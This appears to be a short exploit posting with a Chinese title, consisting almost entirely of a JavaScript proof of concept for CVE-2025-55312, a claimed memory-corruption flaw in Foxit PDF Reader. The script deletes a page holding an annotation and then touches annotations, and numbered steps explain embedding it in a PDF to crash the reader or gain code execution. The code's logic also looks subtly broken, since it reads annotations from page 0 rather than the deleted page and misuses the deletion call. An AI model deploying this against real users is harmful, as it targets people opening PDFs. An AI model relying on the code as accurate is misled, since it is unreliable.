CVE-2025-55312 Foxit PDF Reader内存损坏漏洞

// CVE-2025-55312 PoC - Foxit PDF Memory Corruption // This PoC demonstrates the vulnerability in Foxit PDF's JavaScript page deletion function triggerCVE202555312() { try { // Step 1: Get the current PDF document var doc = this; var pageCount = doc.numPages; // Step 2: Create annotations on the page to be deleted if (pageCount > 1) { var pageToDelete = pageCount - 1; this.addAnnot({ type: "Text", page: pageToDelete, contents: "Malicious annotation", rect: [100, 100, 200, 200] }); // Step 3: Delete the page via JavaScript // This triggers the vulnerability - internal state not properly updated this.deletePages({ nPages: pageToDelete.toString() }); // Step 4: Immediately trigger annotation operations // The application will dereference invalid/released memory var annots = this.getAnnots({ nPage: 0 }); // Step 5: Access deleted annotation to trigger crash if (annots && annots.length > 0) { annots[0].contents = "Modified after deletion"; } console.println("PoC executed - vulnerability triggered"); } } catch(e) { console.println("Error: " + e.message); } } // Execute the PoC triggerCVE202555312(); /* Usage: 1. Save this JavaScript code in a .js file 2. Create a PDF with at least 2 pages 3. Add this JavaScript to the PDF document properties 4. Open with vulnerable Foxit PDF version 5. The application should crash or allow code execution */